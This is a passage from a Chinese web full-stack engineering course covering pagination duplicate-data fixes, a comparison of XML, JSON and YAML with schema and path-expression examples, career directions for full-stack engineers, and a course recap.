select NAME, DESC from PRODUCTS order by COUNT, ID desc limit 50, 50;

这就发现原来第一页尾部的一条数据，又出现在了第二页的开头。

对于这个问题，我们也来看看有哪些解决方案。但是在看解决方案之前，我们先要明确，这是不是一个非得解决的问题。换言之，如果产品经理和程序员都觉得重复数据并不是什么大不了的事情，这个问题就可以放一放，我们不需要去解决那些“可以不是问题”（或者说优先极低）的问题。我知道很多人觉得这个太过浅显，甚至不值得讨论，但毕竟这是一个很基本的原则，做技术的我们在面对问题的时候始终需要明确，而不是一头扎进解决问题的泥塘里出不来了。

至于解决方案，比较常见的包括这样几个：

1. 结果过滤

如果我们认定两次查询的结果中，可能出现重复，但是考虑到数据变更的速度是比较慢的，顺序的变化也是缓慢的，因此这个重复数据即便有，也会很少。那么，第二页展示的时候，我们把结果中第一页曾经出现过的这些个别的数据给干掉，这样就规避了数据重复的问题。

这大概是最简单的一种处理方式，但是其不足也是很明显的：

说是“个别数据”，可到底有多少重复，这终究存在不可预测性，极端情况下第二页的数据可能会出现大量和第一页重复的情况，删除这些重复数据会导致第二页数据量特别少，从而引发糟糕的用户体验；

数据丢失问题：既然第二页上出现第一页的重复，那就意味着存在某数据在用户查询第一页的时候它待在第二页，而用户查询第二页的时候又跑到第一页上去了，这样的数据最终没有返回给用户；

有第一页、第二页，那就还有第三页、第四页的问题，比如第一页的数据可能跟第四页重复啊，如果我们把这些因素都考虑进去，这个方案就没有那么“简单”了。

2. 独立的排序版本

这个方法原理上也很简单，对于任何排序，都维持一个版本号。这样，在数据产生变化的时候，这个新的排序，需要采用一个不同的版本号。本质上，这就是把每次排序都单独拿出来维护，每一个排序都有一份独立的拷贝。

这种方法适合这个排序变更不太频繁的情况，因为它的缺点很明显，就是要给每一份排序单独存放一份完整的拷贝。但是，它的优点也很明显，就是在多次查询的过程中，这个列表是静态的，不会改变的，不需要担心数据重复和丢失的问题。特别是对于开放的 Web API 来说，我们经常需要用一个循环多次查询才能获取全量的数据，这个机制就很有用了。

3. 数据队列

在某些场景下，我们如果能保证数据的顺序不变，而添加的数据总在显示列表的一头，也就是说，把原本的数据集合变成一个队列，这样要解决重复数据问题的时候，就会有比较好的解决办法了。

每次查询的时候，都记住了当前页最后一条记录的位置（比如我们可以使用自增长的 ID，或是使用数据添加时的 timestamp 来作为它“位置”的标记），而下一页，就从该记录开始继续往后查找就好了。这样无论是否有新添加的数据，后面页数的切换，使用的都是相对位置，也就不会出现数据重复的问题了。看下面的例子：

你看，用户刚访问的时候，返回了 data 150 到 data 199 这 50 条记录，并且记住了当前页尾的位置。用户再访问第二页的时候，其实已经有新的元素 data 200 加进来了，但是不管它，我们根据前一页的页尾的位置找到了第二页开头的位置，返回 data 100 到 data 149 这 50 条记录。

当然，只有一种例外，即只有用户访问第一页的时候（或者说，是用户的查询传入的“位置”参数为空的时候），才始终查询并返回最新的第一页数据。比如现在 data 200 已经添加进来了，查询第一页的时候就返回 data 151 到 data 200 这最新的 50 条数据：

上述这种方式其实也挺常见的，特别像是新闻类网站（还有一些 SNS 网站），基本上一个栏目下新闻的发布都可以遵循这个队列的规则，即新发布的新闻总是可以放在最开始的位置，发布以后的新闻相对位置不发生改变。还有就是许多 NoSQL 数据库用于查询特定页的 token，都是利用了这个机制。

总结思考

今天我们一起学习了分页的前前后后，既包括设计、实现，也包括对分页常见的重复数据的问题的分析，希望今天的内容能让你有所收获。

老规矩，我来提两个问题吧：

对于文中介绍的工具类 Paginatior，我把方法签名写出来了，你能把这个类实现完整吗？

对于“分页代码设计”一节中介绍的两种分页对象的设计方法，它们各有优劣，你能比较一下吗？

好，今天就到这里，欢迎你在留言区和我讨论。

扩展阅读

对于 Hibernate 分页查询用到的条件查询 API，你可以阅读这篇文章，看到更多的例子；而对于通过 Projection 来取得总行数的代码，这里有完整例子。

本讲一开始的时候我提到，分页的设计上，有的是使用指定页码的，也是本讲的重点；还有一种是使用 token 的，这种方式也是很多 Web API 常提供的方式，你可以阅读 DynamoDB 的官方文档了解一下它的分页 API。

39 | XML、JSON、YAML比较

你好，我是四火。

XML 和 JSON，是程序员几乎每天都会打交道的数据、特别是配置数据的承载格式。我想你心里应该有一个大致的印象，它们二者各有什么优劣，但是也许没有系统地比较过。那今天我们就把它们放到一起，丁是丁卯是卯地分析分析，对比一下它们各自的特点。另外，这些年来，对于配置，特别是复杂 DSL 的配置，YAML 也逐渐流行开来，因此我们也把它拿过来剖析一番。

XML 和 JSON 的比较

XML 全称叫做 Extensible Markup Language，就像 HTML、CSS 一样，是一种标记语言（标记语言不属于传统意义上的编程语言），且是一种具备结构化特征的数据交换语言；类似地，JSON，也就是 JavaScript Object Notation，被称作 JavaScript 对象表示法，非结构化，更轻量，但归根结底也是一种数据交换语言。因此，二者具备相当程度的相似性，在实际应用中，往往也可以比较和替代。

1. 简洁还是严谨

在 [第 04 讲] 的时候，我介绍了 REST 和 SOAP 这样一个简洁、一个严谨的俩兄弟。而在本讲中，JSON 和 XML 也在一定程度上同样满足这样的比较关系，JSON 往往是更为简洁、快速的那一个，而 XML 则更为严谨、周全。

我们来看一个简单的例子，id 为 1 的城市北京：

<?xml version="1.0" encoding="UTF-8" ?>
<city>
  <name>Beijing</name>
  <id>1<id>
</city>

如果用 JSON 表示：

{
  "city": {
    "name": "Beijing",
    "id": 1
  }
}

你可能会说，除了 XML tag 的名字，在 JSON 中只需要写一遍以外，看起来复杂复杂、严谨的程度似乎也差不太多啊。

别急，往下看。XML 的结构，强制要求每一个内容数据，都必须具备能够说明它的结构，而 JSON 则没有这样的要求。比方说，如果我们把城市组成数组，用 XML 来表示，请你把这个文件存成 cities.xml，因为我们会多次用到这个文件：

<?xml version="1.0" encoding="UTF-8" ?>
<cities>
  <city>
    <name>Beijing</name>
    <id>1</id>
  </city>
  <city>
    <name>Shanghai</name>
    <id>2</id>
  </city>
</cities>

如果使用 JSON 的话，由于对于数组可以使用中括号直接支持，而不需要显式写出上例中的 city 这个 tag 的名称，请你同样建立 cities.json：

{
  "cities": [
    {"name": "Beijing", "id": 1},
    {"name": "Shanghai", "id": 2}
  ]
}

从这就可以看出，在这种情况下，JSON 似乎确实要更为简洁一些。上例中 JSON 能够使用中括号直接表示数组，能够直接支持数值、字符串和布尔型的表示。

等等，这样说的话，JSON 因为能够直接支持数值的表示，这个 id 没有双引号修饰，就是数值类型，可是从 XML 中并不能看出这一点啊。因此，从这个角度说，应该是 JSON 更严谨啊！那为什么说 XML 更严谨，严谨在哪呢？

有些程序员朋友可能会马上想到，XML 是可以定义 tag 属性的，预定义一个 type 不就好了？

<city>
  <name type="String">Beijing</name>
  <id type="number">1<id>
</city>

看起来也能达到“严谨”的目的，可这很可能就是一个不好的实践了，因为 XML 对于这些常见的数据类型，内置了直接的支持。我们可以通过定义 XML Schema Definition（XSD）来对 XML 的结构做出明确的要求，也就是说，我们不必自己去造轮子，来定义并实现这个 type 属性。针对上面的 cities.xml，我们可以定义这样的 XSD：

<?xml version="1.0" encoding="UTF-8" ?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <xs:element name="cities">
    <xs:complexType>
      <xs:sequence>
        <xs:element name="city" maxOccurs="unbounded" minOccurs="0">
          <xs:complexType>
            <xs:sequence>
              <xs:element type="xs:string" name="name"/>
              <xs:element type="xs:byte" name="id"/>
            </xs:sequence>
          </xs:complexType>
        </xs:element>
      </xs:sequence>
    </xs:complexType>
  </xs:element>
</xs:schema>

这样一来，我们就对 cities 和 city 这两个 tag 做了严格的内容限定，包括包含的子节点有哪些，顺序如何，取值类型是什么等等。在实际的 XML 定义中，我们可以引用这个 XSD，这样 XML 的处理程序就会加载这个 XSD 并根据 schema 的规则对 XML 进行校验，从而发现 XML 不合要求的问题。

进一步地，你可以自己动动手，看一下这个工具，它可以帮助你通过 XML 快速生成样例 XSD；而这个工具则可以帮你快速验证 XML 是不是满足某 XSD 的要求，它们都很有用。

补充一下，你可能也听说过，或使用过类似的叫做 DTD，也就是 Document Type Definition 的方式，能想到这个很好，但是 XSD 相对来说有着更大的优势，并成为了 W3C 的标准。因此我在这里不提 DTD，但是我在扩展阅读中放了关于 XSD 和 DTD 的比较材料，供感兴趣的朋友拓展。

我想，从 XSD 你应该可以体会到 XML 的严谨性了。那喜爱使用 JSON 的程序员，就不能创造一个类似的东西，来填补这个坑——即定义和保证 JSON 的严谨性吗？

有，它就是 JSON Schema，也许你已经在项目中使用了，但是还没有统一成标准，也没有被足够广泛地接纳，因此我就不展开来说了。你可以自己实践一下，把上面提到的 JSON 填写到这个 JSON Schema 推断工具上面，去看看生成的 JSON Schema 样例。

2. JavaScript 一家亲

对于全栈工程师来说，和 XML 比较起来，JSON 对于前端开发来说，可以说有着不可比拟的亲和力。本来，JSON 就是 JavaScript 对象表示法，就是从 JavaScript 这个源头发展而来的，当然，JSON 如今是不依赖于任何编程语言的。这个“一家亲”，首先表现在，JSON 和 JavaScript 对象之间的互相转化，可以说是轻而易举的。

我们来动动手实践一下，打开 Chrome 的开发者工具，切换到 Console 页，打开前面建立的 cities.json，拷贝其中的内容到一对反引号（backtick，就是键盘上 esc 下面的那个按键）中，并赋给变量 text：

var text = `JSON 字符串`;

我们很轻松地就可以把它转化为 JavaScript 对象（反序列化），不需要任何第三方的 parser：

var obj = JSON.parse(text);

在早些时候的 ES 版本中，这个方法不支持，那么还可以使用 eval 大法，效果是一样的：

var obj = eval('(' + text + ')');

不过，在现代浏览器中，如果 text 不是绝对安全的，就不要使用这样的方法，因为 eval 可以执行任何恶意代码。

当然，我们也可以把 JavaScript 对象转换回（序列化）JSON 文本：

var serializedText = JSON.stringify(obj);

完成以后，先不要关闭控制台，下面还会用到。

3. 路径表达式

对于一段巨大的 XML 或 JSON 文本，我们经常需要找出其中特定的一个或多个节点（tag）、内容（content）或者属性，二者都有相似的方法。

对于 XML 来说，它就是 XPath，也是 W3C 的标准。现在我们来动手操作一下吧：

我们可以利用 Xpath Generator 来直观地生成相应的 XPath。让我们打开这个工具，找到我们刚才保存下来的 cities.xml 文件，拷贝里面的内容，粘贴到页面上。

接着，点击第一个 id 标签，你将看到这样的 XPath：

/cities/city[1]/id

这就唯一确定了 XML 中，cities 这个节点下，city 节点中的第一个，它下面的 id 节点。

我们再来试一试，点击 Shanghai 这个 content，你将看到：

/cities/city[2]/name/text()

对于 JSON 来说，也有 JSONPath 这样的东西，但是，我们却很少提及它，因为正如上文我提到的，它和 JavaScript 极强的亲和力。我们在前端代码中已经不自觉地通过对象的点操作符，或是数组的下标操作符使用了，于是，JSONPath 在多数场景中就显得不那么重要了。

举例来说，上面我给出的两个 XPath 例子，我们在将 cities.json 反序列化成 JavaScript 对象以后，我们可以直接访问（你可以在前面实践的控制台上，继续键入）：

obj.cities[0].id

以及：

obj['cities'][1].name

但是，还有很多场景，特别是对于 JSON 支持不像 JavaScript 那么足够的场景，JSONPath 就有其用武之地了。和前面介绍的 XPath 查找的例子一样，你可以打开 JSON Path Finder 页面，把之前 cities.json 的文本粘贴到左侧的输入框中，在右侧选择对应的节点或值，上方就会显示出 JSONPath 了：

所以，Beijing 的 id 和 Shanghai 的 name 分别显示为：

x.cities[0].id
x.cities[1].name

这和 JavaScript 对象访问的表达式是一致的。

4. 特殊字符

任何格式都要使用特定的字符来表示结构和关系，那么 XML 和 JSON 也不例外，这些特定字符，如果被用来表示实际内容，就会出现“冲突”，于是我们就需要转义。

对于 XML 来说，且看下面的表格，第三列是“预定义实体”，也就是字符转义后相应的形式：

值得一提的是，在 XML 中，我们还能够以 CDATA 来表示内容，这种方式可以尽可能地避免对于转义的使用，并可以直接使用换行等控制字符，增加 XML 的可读性。比方说下面这个例子，实际的 function 使用 CDATA 的方式给嵌在了 function 这个 tag 内：

<function><![CDATA[
function compare(a, b) {
  ...
}
]]></function>

对于 JSON 来说，没有这样的预定义实体，但是我们也经常需要转义，比如说，如果双引号出现在了一对双引号内的字符串中，这时候我们可以用常规的反斜杠转义序列来表示，比如引号“转义为 \”等。

审视一番 YAML

最后来讲一讲 YAML，这是一种可读性非常优秀的数据交换语言。如果你使用过 Python，那么对于其“有意义”的缩进应该印象深刻，而 YAML，也具备这样的特点。你可以打开 XML to YAML Converter 这个网站，然后将前面我们创建的 cities.xml 的内容拷贝出来，贴到左侧的输入框中：

然后点击 XML TO YAML 按钮，你就能看到前面的例子，如果使用 YAML 来表示，它会是这么个样子：

cities:
 city:
  -
   name: Beijing
   id: 1
  -
   name: Shanghai
   id: 2

你看，这种方式对于层次结构的表达，可以说比 XML 或 JSON 更为清晰。对于 XML 和 JSON 的表达，对于每一层节点，你都要去找结尾标记，并和节点开头标记对应起来看；但是 YAML 则完全不用，它利用了人阅读的时候，一行一行往下顺序进行的特性，利用直观的缩进块来表达一个特定深度的节点。对于某些强调层次结构的特定信息表达的场景，比如说电子邮件消息，或者是商品信息、候选人的简历等等，使用 YAML 比其它的数据交换格式都要直接和清晰。

值得注意的是，对于缩进，YAML 要求不可以使用 TAB，只能使用空格，这和 Python 是不同的；而对于每层缩进多少个空格，这不重要，只要保证不同层次的缩进空格数量不同即可，这一点和 Python 是相同的。

YAML 由于极强的可读性，它在数据类型的明确性上做了一定程度的牺牲。从上面的例子你可以发现，本来我们希望 name 是字符串，id 是数值，可是 YAML 它根本不关心这一点，如你所见，字符串也没有双引号修饰，它只是诚实地把具体的文本数值罗列展示出来罢了。这一点，在我们权衡不同的数据交换格式的时候（比如设计哪一种格式作为我们的模块配置项文件），需要注意。

总结思考

今天我们一边动手比较、一边学习了 XML 和 JSON 的前前后后，包括它们的风格、schema 和路径表达式等等，并在之后了解了可读性至上的另一种数据交换语言 YAML。希望这些内容能够帮助你对于这些数据交换语言有更为全面的认识，并能够在工作中选择合适的技术来解决实际问题。

今天的提问环节，我想换个形式。这一讲我们已经比较了许多 XML 和 JSON 的特性了，其中一些涉及到了它们之间的优劣。那么，你能不能归纳出 XML 和 JSON 各自的一些优劣来呢？比如有这样几个方面供你参考，当然，你完全可以谈其它方面：

报文大小；

数据类型的表达能力；

Schema 的支持；

可读性；

数据校验的支持性；

序列化和反序列化（编程访问）的难易程度；

程序处理的性能；

Web 中的普适性；

可扩展性（自定义 DSL 的能力）；

……

扩展阅读

关于 DTD，你可以在这里找到许多例子；而 XSD，它的例子则在这里。而且，在 XML Schema 与 XML DTD 的技术比较与分析这篇文章里，你可以得知为什么 W3C 最后选择了 XSD，而不是 DTD。另外，对于 XSD 的批评，你可以参看这里。

对于 XPath，如果想全面地了解它的语法，请参阅 XPath 词条；如果你想检验所学，校验自己书写的 XPath 的正确性，那么你可以使用这个工具，这个工具和文中介绍的 Xpath Generator 配合起来使用，可以非常有效地帮助你理解 XPath。

相应的，对于 JSONPath，你可以阅读这篇文章来进一步了解它的语法，你也可以使用这个工具来校验其正确性。

对于 YAML，你可以阅读这个词条来获得较为全面的了解；另外，你可能听说过 YAML 和 JSON 之间的超集与子集这样的关系，那我推荐你阅读 YAML 官方文档的这一小段关于它与 JSON 的区别和联系。

文中介绍了数据交换语言这个大家族中的三个，其实还有其它成员，你可以阅读一下这个列表。

40 | 全栈衍化：让全栈意味着更多

你好，我是四火。

专栏更到这里，我们已经把基于 Web 全栈的这棵大树，主要的枝枝丫丫大致都覆盖到了，可是，技术上我们总是希望“更进一步”。这棵大树所在的森林中，还有着广阔的领域等待着探索。当然，我想明确的是，我知道很多程序员还是会继续坚持这条路，因为全栈工程师本身是一个非常理想的职业发展方向，毕竟这个角色，大厂招，创业小团队更是需要；但同时我也知道，也有很多走在 Web 全栈路上的工程师，有着更多的想法，想尝试不一样的“可能性”，而这，就是我想说的个人的“全栈衍化”了。

个人

不知道你是否能记得起，我在这个专栏的 [开篇词] 中说到了关于全栈工程师的职业延伸，特别是在有了相当的积累的时候，比如工作接近五年、十年的时候，很多程序员都会对自己有更深刻的认识，更明确自己需要什么，喜欢什么。Web 全栈技术中，他们更愿意深挖某一个具体的领域；或是跳出了这个圈子，看上了另外的一棵技能树。也就是说，他们将全栈工程师作为自己的基础铺垫和视野拓展，从而成就职业进一步发展的跳板，毕竟，“有了全栈工程师的底子，未来面对软件行业进一步细化，选择其它细分职业时，会因为有了全面而扎实的基础而更有利”。

纵向：深挖 Web 的一个领域

如你所见，Web 全栈工程的覆盖面已经很广了，然后你再有了足够的积累，既包括项目的积累，又包括个人技术、非技术能力上的积累。但同时，如果你也发现，自己更喜爱某一个特定的子领域，那么这时候，是可以花一点时间，静下心来，想一想是不是可以细化自己的职业发展通道了。下面我来举两个纵向技术衍化的例子，希望给你一点启发：

1. 前端工程师

前端工程师是全栈衍化一个最常见的去向之一，当然，反过来的案例也许更多（从前端工程师到全栈）。我们在第三章一开始已经提到了，由于前端技术的特殊性，比方说，前端领域的思维模式有着显著的特殊性（参见 [第 14 讲]），Web 领域的工作细分很早，就从独立出前端作为开始，发生了。

由于工作和项目的关系，我接触过不少不同背景的前端工程师，或是类似的角色（这个名称在不同的企业中有不同的称呼，比如 Amazon 它叫做 WDE，Web Development Engineer），但是总体来说，有着扎实的全栈工程底子的前端工程师，还是明显地显露出，很不一样的认识问题的视野和思考角度。比方说，定位一个用户访问响应时间的问题，这样的工程师很擅长从整个请求响应的完整链路分层去剖析；再比如说，代码设计和组织，他们在分层和模块化方面，相对而言，有着普遍扎实的基础。

2. SRE

SRE（Site Reliability Engineer，网站可靠性工程师），这个角色最早很可能是 Google 创造出来的，从名称上也可以看出，这个职位的工程师所致力于解决的问题，就是网站可靠性的问题，这里的“可靠性”，包括可用性、延迟、容量等多个方面。他们就像是医院里的主刀大夫和急诊科医生，这是一个综合能力要求颇高的职位，也是一个绝对“实战”的职位，因为他们要面对的，都是大流量的网站等 Web 服务，都是一点点小问题都可能带来巨大经济损失的场景。

因此 SRE 需要尽力确保服务每分每秒的正常运行，他们的扮演的角色可远不只是“救火队长”，在“时间就是金钱”的压力环境下，严谨而大胆，快速定位和解决问题，但更重要的是，帮助不同的团队“防患于未然”，比如主导和把关新建服务的可靠性设计。SRE 有时要解决基础设施的问题，有时要分析服务端的压力来源，有时则要搞定网页上造成大量用户访问困难的“小 bug”。很显然，一个狭窄领域知识的工程师，是不可能胜任这样的岗位的，对于从端到端俯瞰整个流程的能力，Web 全栈工程师有着天然的优势。

横向：点亮另一棵技能树

下面再来看另一种分类，如果你发现自己的兴趣或是专长，并不在 Web 全栈领域方面，而是跃跃欲试地盯上了软件技术领域的另外一类角色，那其实也是一件可喜可贺的事情。毕竟，越早明确自己的兴趣和专长，在职业中做出变更的决定，就越能帮助自己接近目标，这其实有点像 RPG 游戏中的转职了。下面我就来举几个横向衍化的例子：

1. 数据方向

这里的数据未必指大数据。如果我们退回到 10 年前，数据所扮演的角色，远没有当今的软件行业这样重要。如果你在 Web 全栈的学习过程中发现，自己对于数据有着超乎平常人的敏感度，或者对于数据本身所蕴含的事实原理充满兴趣，那么有一些和数据密切相关的职业角色，可能会成为你未来职业发展的一个好的选择。

比如说数据科学家（Data Scientist）、数据分析师（Data Analyst）和商业智能工程师（Business Intelligence Engineer），其中的前两者，我在 [第 20 讲] 中有过介绍。这些角色，都需要具备相当的数据分析能力，掌握一定的统计知识。全栈工程师的背景，能让你在胜任这样的角色的时候，具备更综合的工程能力，从而脱颖而出。比如你可以更容易地设计和改进数据分析工具，比如你已经掌握了一定的数据可视化技术（参见 [第 18 讲]），就可以迅速地将实现方案落地。

2. 系统方向

这部分往往来自于对软件系统有着更高追求的工程师，这个方向在横向衍化中具备着相当的比例，比如，有一些软件工程师职位，从职责上看，其实和 Web 全栈工程师没有本质上的区别，但是因为其所涉及的项目、产品和技术领域独立在传统的 Web 之外，我就把它们单独拿出来介绍了。

我觉得这一点可以以我自己为例，我这几年所呆的团队，开发和维护的产品中，都包括典型的分布式系统。两年前是一个分布式计算平台，Amazon 所有产品的成本和利润就是在它上面完成计算的；如今在 Oracle 则是一个分布式工作流引擎。老实说，它们都和传统的 Web 全栈没有什么“直接关系”，但是正如我在专栏开始的时候所说，技术都是相通的，从全栈领域学到的那些套路和方法，可以帮助我在新的软件领域上手那些新技术。

我知道很多程序员朋友，从远期看都想成为架构师，比如平台架构师，解决方案架构师等等。但凡谈及“架构”基本上都意味着一个模糊的、足够大的领域。在我所了解的那些互联网巨头中，这些高级研发职位都要求跨团队、跨项目的技术决策和合作，很难想象一个狭窄领域诞生一个架构师级别的角色，而这一点，又得益于我们如今学得广、学得杂而夯实的基础。

3. 产品经理

产品经理可以说也是一个非常常见的方向，产品经理和程序员之间相爱相杀的故事，已经“烂大街”了。“土生土长”的产品经理的比例其实不算太高，很多公司的产品经理都是从不同的岗位转过来的。比如运维岗，这样的产品经理，往往会额外地关注产品的可靠性以及运维的难度，毕竟他们是从这条路走过来的，深知其重要性。

同样的，有着全栈工程师背景的产品经理，显然更能够从工程的角度出发，去理解需求的实现，理解用户交互过程背后的原理，撰写更优秀的非功能需求的产品设计文档，也可以轻而易举地做出 HTML 快速原型。

项目和团队

上面我只是从个人角度介绍了全栈的衍化，这也是最常规的思路。但是，我们也完全可以从更多的角度来审视这个概念，比如说项目和团队。

在这里我想说的全栈项目，是指能够从不同的软件领域和软件技术的角度，覆盖端到端需求并解决问题的项目或项目集合，这里未必指单个的项目，而可以是多个关联项目所组成的集合；相应的，全栈团队，其实我在 [第 20 讲] 中已经介绍过了，是指一个团队具备较多方面、较多层次的技能，联合协作，去解决某一个领域的问题。

为什么要讲这个？因为我们整个专栏都在专注于 Web 全栈工程技能这一点上，但是我不希望在专栏之后，因为它而给你造成了思考的禁锢。我想学到了今天，你已经对于程序员掌握全栈技能的优势有了自己的理解，可是这一部分，完全可以衍化到项目和团队这样的维度上。

我自己的故事

在我工作的最初几年，虽然已经是一个全栈工程师了，个人技术上虽然收获很大，但是并没有产生这一个层次的认识。直到我加入了 Amazon，它的工程师文化对我之后的成长产生了很大的影响，也就是从那时候开始，我有了对于全栈项目和全栈团队的思考。

拿我自己来举一个例子，我曾经在销量预测团队中工作，我们整个团队五十余人，用一句话来 粗略地概括我们每天的工作，就是给几千万的商品预测销量。显然这就是一个全栈的大项目，里面有十几、二十个不同领域的小项目，包括销量预测的计算平台、高可用数据分发服务、数据同步服务、预测数据的序列化和存储服务，数据分析的可视化工具、预测统计和健康监控系统等等。

因此，从项目的多样性，你就能够想象团队角色的多样性（具体内容请参见 [第 20 讲]）。团队中有着许许多多擅长不同领域的角色，包括软件工程师、数据科学家、数据分析师、产品经理和支持工程师等等。而单说我们最熟悉的软件工程师，就具备着不同背景、不同专长，比如有擅长 MR 相关框架和技术的负责计算平台的工程师，有维护高可用数据分发服务的工程师，也有熟悉 Web 前后端开发的负责数据可视化的工程师等等。

后来我又加入了成本核算团队，项目也好，团队也好，技术也罢，虽然存在很大不同，可全栈的特性却是一致的。比方说，MR 的框架和工具从 Hadoop 系变成了 Spark 系，主要编程语言从 Java 变成了 Scala，工作流引擎从一个老旧的自研引擎服务变成了一个基于 SWF（Simple Work Flow）开发的在公司“内部开源”的新产品（即便放到今天来说，我依然觉得，它的共享资源管理等某几个核心功能，还是要比如今市面上我见到的都要优秀一些）……可是那又怎样，项目依然包含多个层次、不同的类别，而团队则依然包含类似分类的、多样的角色。

优势

在我看来，一个全栈的项目和团队，至少可以具备这样几个优势：

1. 从多样的角度出发，提供完整的解决方案。

正如同销量预测团队中，预测一个产品的销量是一个极端困难的事儿，需要多种机器学习的模型配合工作，对于不同类型的商品，应用不同的数学模型；而数据的获取、计算、分发……这些又都需要软件来完成；数据的清洗、转换、分析又需要多种数据和统计知识，配合合适的工具来做到。对于一个角色单一的团队或项目，显然是无法做到这样一个复杂的过程的。

2. 具备包容的团队，为不同特长和兴趣的人才提供创造价值的平台。

3. 保持整体上健康和多样的思考角度，保证团队和产品的均衡发展。

每年我们都会举办 Hackathon，大致就是，团队成员可以提出创意、“招兵买马”，完整的两、三天时间，自发组织小团队，团队里有产品经理、工程师和数据分析师等等不同角色，一起把这个创意做出快速原型。其中优秀的一部分会成为未来一年真正的项目和产品。各种创意火花碰撞，这是我最喜欢的一个地方。

总结思考

今天我聊了聊 Web 全栈工程师在完成核心技术的修炼之后，可以考虑的下一步和进一步的方向，也就是个人的全栈衍化；也从项目和团队的角度，讲了全栈的优势和重要性。

不知道正在阅读的你，关于这方面，从职业规划的角度看，你的思路是怎样的，能简单分享一下吗？

扩展阅读

关于 SRE 这个角色，你可以参看 Google 自己的描述，以及 SRE 这个词条。

关于文中提到的 Hackathon，想了解更多的话，你可以阅读这个内容。

全栈回顾 | 成为更好的全栈工程师！

你好，我是四火。

这是这个专栏的最后一讲了。

回顾一下，我们学到了什么？

现在，是时候来回顾一下我们学过的 Web 全栈树了。这里我按章节进行划分，把每一讲的标题和主要内容做成了一张思维导图，帮助你回顾。

下面我把它展开来，你可以顺着这个展开的内容，回顾自己所学。

第一章：网络协议和 Web 接口

第一章是网络协议和 Web 接口，我以 HTTP 为核心，介绍了它的演进历史、相关技术，以及它的局限性：

对于安全传输方面的局限，我介绍了 HTTPS 的原理；

对于交互模式上的局限，我介绍了一些服务端推送技术；

对于无状态连接的局限，在第五章我介绍了客户端和服务端的会话。

也是从这一章开始，我们开始接触了 push 和 pull 这两个“对立”的套路，对于整个专栏，我们在各个层面的技术中把它们拿出来反复比较，权衡利弊。

对于 Web 接口部分，我从 SOAP 和 REST 所代表的两大设计风格开始，梳理了 Web 接口设计的过程，以及需要考虑的零零总总各个方面。

第二章：欢迎来到 MVC 的世界

第二章我主要针对 MVC 这个对于网站和其它 Web 应用开发来说，最重要的架构和设计模式，介绍演进、分层，并逐层仔细深挖：

模型层，我介绍了贫血模型和充血模型，以及常见的 CQRS 模式；

视图层，页面聚合是我们的重点，包括客户端聚合和服务端聚合，特别是模板引擎的工作原理；

控制器层，我把这一层拆分为几个方面，梳理了控制器在 MVC 架构中的工作步骤。

之后我们将 MVC 泛化，了解了其它重要的设计模式和套路，包括 AOP 和 IoC，以及实现切面编程所需的代理技术；还有其它著名的 JavaEE 模式，特别是拦截过滤器和数据访问对象模式。

第三章：从后端到前端

第三章主要讲前端技术。首先我从一个大体上俯瞰的角度，阐述了我所理解的前端技术的“不同”，特别是思维模式的不同。

然后我介绍了一些前端技术重要的知识点，比如 JavaScript 面向对象，包括封装、继承和多态的实现方式，也包括对象创建的原理。接着我以 React 和 Angular，以及它们的重要特性为例，介绍了百花齐放的前端 MVC 框架为我们带来的变革。

在页面设计和交互布局一讲中，我使用实际例子介绍了页面设计方面的一些原则和思路，包括渐进增强和优雅降级等等。

接着在数据可视化一讲中，我仔细比较了当今最重要的两种 Web 绘图标准，SVG 和 Canvas，并介绍了 Flot 和 D3.js 这两个可视化的库。

最后是 JavaScript 异步编程的技术，我们重新回归 JavaScript，我梳理了最重要的几个技术要点，这也是这一章相对比较难的一讲。

第四章：数据持久化

继续往技术栈的下方挖，数据持久化。在这一章的一开始，我首先介绍了这一层中互联网应用最广泛的技术之一——缓存，讲了它的本质、应用和常见的坑，以及缓存框架的设计要点。

接着是数据一致性，我介绍了它的概念，还有围绕它而产生的常见架构技术。有了数据一致性的基础知识，我们就进一步学习了 CAP 的原理，包括它的本质、常见的误区，以及我们该怎样根据 CAP 去做技术选型。

最后则是数据持久层的设计，包括理论部分、关系数据库和非关系数据库的一些设计要点；以及实例部分，包括几个范例系统：搜索引擎、地理信息系统和电商网站。

第五章：寻找最佳实践

在第五章中，我们跳出了全栈技术纵深方向上具体某一层的限制，而是从一个横向的角度去分析相关的实践技术。

在 Ops 三部曲中，我分别介绍了：

配置管理，有哪些配置管理的技术，我们该选择怎样的方式去做配置管理；

集群部署，我介绍了集群部署的方式，部署下的负载分担原理和策略算法，以及集群部署下常见的话题——Session 和 Cookie；

测试和发布，围绕 CI/CD 介绍了 pipeline 的含义、内容和挑战，以及不同类型的测试在其上集成的方式。

在网络安全那一讲中，我着重介绍了常见的 Web 攻击方式的原理，包括 XSS、CSRF、SQL 注入、HTTP 和 DNS 劫持，以及 DDoS。

最后则是 SEO 这一讲，我介绍了 SEO 和白帽、黑帽的含义，以及一些常见的 SEO 技术，包括站内优化和站外优化。

第六章：专题

在第六章，我选取了四大专题分别展开介绍。

在网站性能优化一讲，首先我介绍了一些基础知识，包括性能优化和软件设计的关系，性能优化的关注点，性能测试和指标，以及寻找性能瓶颈的思路；接着按照产品架构调整、后端和持久层优化，以及前端和网络层优化这样三个部分，分别介绍相应的常见性能优化技术。

在全栈开发中的算法这一讲，我以这样几大场景为主线，介绍了一些重要的算法：

流量控制算法，包括基于固定时间窗口和滑动时间窗口的流量控制，漏桶算法和令牌桶算法；

Diffie–Hellman 密钥交换算法，从中我们学到了数学上超大质数在安全领域的一个典型应用；

数据压缩算法，包括哈夫曼编码、RLE 编码和算术编码，从而帮助我们理解，如今繁多的压缩技术的最基本的原理。

在分页这一讲中，我讲了分页的分类和几种实现分页的技术，最后则是分页的常见问题——重复数据，它背后可能的原因和相应的解决方案。

在最后的 XML、JSON 和 YAML 这一讲，我把这几个数据承载格式的优劣进行了仔细的比较，包括简洁和严谨的程度，与 JavaScript 的亲和力，schema、转义方式和路径表达式等等。

其它

以上是技术方面的“硬通货”，对于非技术方面，我通过特别放送等等的形式，讨论了一些我认为比较重要，尤其是对于 Web 全栈工程师来说比较重要的话题。

怎样去理解 Web 全栈技术，全栈技术应该怎样学习，需要遵从怎样的学习策略；

北美全栈工程师的招聘，招人会秉持怎样的理念，整个流程是怎样的；

技术修炼应该怎样进行取舍和选择，哪些技术应该深挖，哪些则可以点到即止；

全栈团队的构成一般是怎样的，有哪些重要的角色；

代码审查为什么不可或缺，有哪些争议和好处，又有哪些技巧；

程序员为什么要学英语，重要性在哪里，又有哪些好办法；

作为 Web 全栈工程师，我们还有哪些发展方向可以考虑，我们为什么需要让项目和团队也“全栈化”？

